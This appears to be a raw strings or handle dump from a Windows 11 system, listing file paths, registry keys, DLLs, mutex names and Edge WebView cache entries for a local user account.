ata\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db-shm msedge.dll settings.dat PerfCounter.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe\vcruntime140.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe\VCRUNTIME140.dll mscoreei.dll blic \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\ActivationStore.dat mscoree.dll security.dll aeinv.dll devinv.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\Microsoft.Windows.Widgets.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\ecedae92dc2a36db_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\ecedae92dc2a36db_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\ecedae92dc2a36db_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\ecedae92dc2a36db_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\ecedae92dc2a36db_1 LocalCache lisherID=null & InterfaceID=({683130A5-2E50-11D2-98A5-00C04F8EE1C4}))) & MethodName=(null | 'OnThreadUnBind') \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.winmd:WofCompressedData MicrosoftStartF \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\35bed211f716c812_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\35bed211f716c812_1 \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.AppService\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppXadns4p0eqjaenk2bd16aj0cypbrs3e5w.mca \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\35bed211f716c812_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\35bed211f716c812_1 utcutil.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.dll:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\3f7e766aae56c448_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\3f7e766aae56c448_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\3f7e766aae56c448_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\3f7e766aae56c448_1 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll blic Microsoft.StartExperiencesApp_8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat::$ATTRIBUTE_LIST State\EBWebView\Default\Code Cache\js\af6992942c586809_0 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-Bluetooth-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat:WofCompressedData Microsoft.StartExperiencesApp_8wekyb3d8bbwe in.dll DiagOutputDir \Registry\Machine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0001 index metadata \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_1 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\copilot_overlay_images_100_percent.pak nWebGPUCache\data_0 B7}\voiceaccess.exe W~{7C5A40EF-A resources.pri mpenginedb.db-shm prnms003.inf mpenginedb.db \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_2 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Sdch Dictionaries \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\History-journal \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\GPUCache\data_3 CertEnroll.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Site Characteristics Database\CURRENT~RFdc37.TMP .tmp \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep wsxpacks.json \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\ActivationStore.dat rity icat s.Se uthe n.We ll+0 Wind \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\Database 0000 \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\StartMenu\AdaptiveCards.Rendering.Uwp.dll:WofCompressedData stobject.dll.mui stobject.dll.mun WnsClientConnectionProvider \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\NetworkDataMigrated \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\README \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat:WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Site Characteristics Database \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.IrisService.AppX0rx4escc2mj6hvn679j52gzahqw4y7qg.mca oneauth.dll Last Version \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Web Data \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\Database\LOG.old 000005.ldb LOG.old Photo.gmmp \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\No_Vary_Search \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\SharedStorage nces~RFc841.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\WebStorage\QuotaManager gdep \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Crashpad\metadata wy\machine.pckgdep \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Crashpad\metadata wy\machine.pckgdep \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\WebStorage\QuotaManager \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ServerCertificate-journal \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Web Data-journal C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736\GdiPlus.dll Report.wer \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\GPUCache\data_3 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Shared Dictionary Network Local Storage \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Web Data \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\metadata\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\ServerCertificate \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Runlevel-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\LOG SH\;C:\Users\job settings.dat LOCK 03222332223322233222332223322233 ESENT_Perf_Library_Lock_PID_1694 :WofCompressedData :WofCompressedData MSDTC_Perf_Library_Lock_PID_1694 :WofCompressedData Tcpip_Perf_Library_Lock_PID_1694 \CMNotify \srvsvc :WofCompressedData :WofCompressedData LSM_Perf_Library_Lock_PID_1694 \Connect :WofCompressedData SM0:6116:120:WilError_03_p0 :WofCompressedData SM0:5820:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData :WofCompressedData \CMNotify SM0:6912:120:WilError_03_p0h \Windows\Fonts\segoeui.ttf SM0:6912:120:WilError_03_p0 SM0:6116:120:WilError_03_p0h \Windows\SysWOW64\wmp.dll :WofCompressedData AnimationsComplete.4124.4788 SM0:5820:304:WilStaging_02 RootVisualReset.4124.4788 :WofCompressedData ImageDecodingIdle.4124.4788 FontDownloadsIdle.4124.4788 :WofCompressedData :WofCompressedData gll32.dll HasBrushTransitions.4124.4788 :WofCompressedData :WofCompressedData StartMenuCompanionCompletion HasFacadeAnimations.4124.4788 PinnedListModel_PageOneReady ViewModelProviderCompletion \Windows\ShellExperiences HasBuildTreeWorks.4124.4788 :WofCompressedData KeyboardInputReceived.4124.4788 :WofCompressedData PageNavigationComplete.4124.4788 :WofCompressedData 2.DLL :WofCompressedData :WofCompressedData FamilyID :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ :WofCompressedData \Dev\Query :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData OLE0130B6D706B64EA2F263F7E0285C \Dev\Query :WofCompressedData :WofCompressedData :WofCompressedData \CMApi :WofCompressedData :WofCompressedData \Dev\Query SM0:6764:304:WilStaging_02_p0h \Windows\System32\pcwum.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:6764:304:WilStaging_02 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:6764:304:WilStaging_02_p0 Allow-WindowsSubscription :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData CLR_PerfMon_StartEnumEvent :WofCompressedData :WofCompressedData SM0:5820:304:WilStaging_02_p0h CLR_PerfMon_DoneEnumEvent \CMNotify :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \CMNotify \Dev\Query :WofCompressedData \CurrentOut SM0:2184:304:WilStaging_02 :WofCompressedData StartMenu-ShowWindowsTools :WofCompressedData \CMNotify :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ \Dev\Query :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:6516:304:WilStaging_02 \CMNotify \CMNotify SM0:2184:304:WilStaging_02_p0 \Dev\Query \Windows\System32\upnp.dll \Windows\System32\MSWB7.dll :WofCompressedData SM0:6516:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \CMNotify \Windows\System32\ SM0:6516:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData OLE90CC11A5A7FF00D5375C088115DD :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Dev\Query \Dev\Query \Dev\Query \Dev\Query \Dev\Query :WofCompressedData :WofCompressedData :WofCompressedData \Windows\bcastdvr :WofCompressedData \CMNotify \System Volume Information System Volume Information AadRecoveryPasswordDelete SM0:796:120:WilError_03_p0h :WofCompressedData \Windows\System32\qmgr.dll :WofCompressedData ClientRecoveryPasswordRotation :WofCompressedData :WofCompressedData SM0:796:120:WilError_03_p0 :WofCompressedData :WofCompressedData \Windows\Fonts\SegUIVar.ttf :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:5528:120:WilError_03_p0 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:5528:120:WilError_03_p0h :WofCompressedData \Windows\Fonts\SegUIVar.ttf :WofCompressedData :WofCompressedData :WofCompressedData \AsyncConnectHlp \CMNotify IC.DLL :WofCompressedData \CMNotify :WofCompressedData ZonesLockedCacheCounterMutex :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData :WofCompressedData windows_shell_global_counters \Windows\Globalization\ICU \CMNotify \CMNotify :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\sfc.dll :WofCompressedData SM0:6116:304:WilStaging_02 :WofCompressedData \Endpoint explorer.exe 10.0.26100.7840 :WofCompressedData :WofCompressedData \Endpoint SM0:7004:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData :WofCompressedData \Endpoint :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:7004:304:WilStaging_02 :WofCompressedData \CMNotify :WofCompressedData \Endpoint \Windows\System32\DXP.dll SM0:7004:304:WilStaging_02_p0h OLE4EFD052D1D422CDBC1C5291A5ED1 :WofCompressedData SM0:6116:304:WilStaging_02_p0 :WofCompressedData SM0:5268:304:WilStaging_02_p0 :WofCompressedData \CMNotify :WofCompressedData \registry\machine\software \CMNotify SM0:6116:304:WilStaging_02_p0h \registry\machine\software :WofCompressedData \Endpoint SM0:5268:304:WilStaging_02 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \CMNotify \CMNotify windows_shell_global_counters :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\wtdsensor.dll :WofCompressedData :WofCompressedData :WofCompressedData BITS_Perf_Library_Lock_PID_af0 :WofCompressedData :WofCompressedData \Windows\System32\ SM0:5268:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Endpoint :WofCompressedData :WofCompressedData \Endpoint :WofCompressedData SM0:1088:120:WilError_03_p0 SM0:1088:120:WilError_03_p0h :WofCompressedData :WofCompressedData Taskbar-Pinning-Recommendations PerfOS_Perf_Library_Lock_PID_af0 :WofCompressedData :WofCompressedData :WofCompressedData ESENT_Perf_Library_Lock_PID_af0 LSM_Perf_Library_Lock_PID_af0 :WofCompressedData :WofCompressedData :WofCompressedData \Windows\Branding\Basebrd\en-US SM0:6516:120:WilError_03_p0h MSDTC_Perf_Library_Lock_PID_af0 \CMNotify :WofCompressedData SM0:6516:120:WilError_03_p0 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:2184:304:WilStaging_02_p0h :WofCompressedData \CMNotify usbhub_Perf_Library_Lock_PID_af0 :WofCompressedData \CMNotify Tcpip_Perf_Library_Lock_PID_af0 \CMNotify SM0:7628:304:WilStaging_02 :WofCompressedData :WofCompressedData \srvsvc :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Users\Default\AppData\Local :WofCompressedData :WofCompressedData :WofCompressedData SM0:7628:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData SM0:7628:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData :WofCompressedData BITS_Perf_Library_Lock_PID_1694 \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\WebCache\V01.chk \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\WcmSvc\Tethering \Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwee \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\WebCache\V01.log \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low ISTRY\MACHINE\SOFTWARE\Micro Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\LocalCache \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\Internet Explorer\EdpDomStore \Users\job\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\LocalCachetxyewy ISTRY\MACHINE\SOFTWARE\Micro TeamsForWorkNewAppList.targetsize-32_altform-lightunplated.png \Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe\Assets8bbwe StateRepository.SecondaryTileUserNotificationChannel.{E260F576-B337-4E45-BBF2-DC1B5D36299B} Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\WebCache\V01.log MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\AppDatay \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCookies\DNTException\Low \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\WebCache\V01.log \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\Internet Explorer\EmieUserList \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\Internet Explorer\IEFlipAheadCache \Users\job\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\INetCookies\PrivacIE\Low \Users\job\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\LocalState Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AppData Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\LocalCache\Local8} \Device\HarddiskVolume3\Users\job\AppData\LocalLow\Microsoft\Internet Explorer\EmieSiteList MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\History\Low\History.IE5 \Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalCacheyewy Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\WcmSvc\Tethering \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\WebCache\V01.chk \Users\job\AppData\Local\Packages\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe\RoamingState \Users\job\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\LocalState \Users\job\AppData\Local\Packages\Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe\LocalCache \Users\job\AppData\Local\Packages\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe\AppData MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy \Users\job\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\LocalCache7} \Users\job\AppData\Local\Packages\Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe\AppData \Program Files\WindowsApps\Microsoft.Todos_0.120.7961.0_neutral_split.scale-100_8wekyb3d8bbwe \Program Files\WindowsApps\Microsoft.ZuneMusic_11.2509.7.0_neutral_split.scale-100_8wekyb3d8bbwe \Users\job\AppData\Local\Packages\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe\LocalCache \Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\RoamingState \REGISTRY\MACHINE\SOFTWA:FeedbackHubAppList.targetsize-32_altform-lightunplated.png Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe SMARTLOCKER://SMARTSCREENORIGINCLAIM \Users\job\AppData\Local\Packages\Microsoft.VP9VideoExtensions_8wekyb3d8bbwe\RoamingStatete \Users\job\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\LocalState \Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe\Assets Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\windowsudk.shellcommon.dll \Device\HarddiskVolume3\Windows\System32\LocationFramework.dll Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\MicrosoftWindows.CrossDevice_cw5n1h2txyewy\RoamingState Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe \Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\StartMenu\Assets\SearchIcons \Users\job\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\RoamingState \Users\job\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb3d8bbwe\RoamingStateheyewy Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\RoamingState \Program Files\WindowsApps\Microsoft.BingNews_1.0.2.0_neutral_split.scale-100_8wekyb3d8bbweE40} \Users\job\AppData\Local\Packages\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe\LocalState \Users\job\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\LocalStatetxyewy \Users\job\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\RoamingStateee MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\RoamingState MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\TokenBroker\Cache \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\WcmSvc\Tethering MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy StateRepository.PrimaryTileUserNotificationChannel.{929EA897-150E-4AC5-A47D-95E6620AA85B} MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy ISTRY\MACHINE\SOFTWARE\Micro 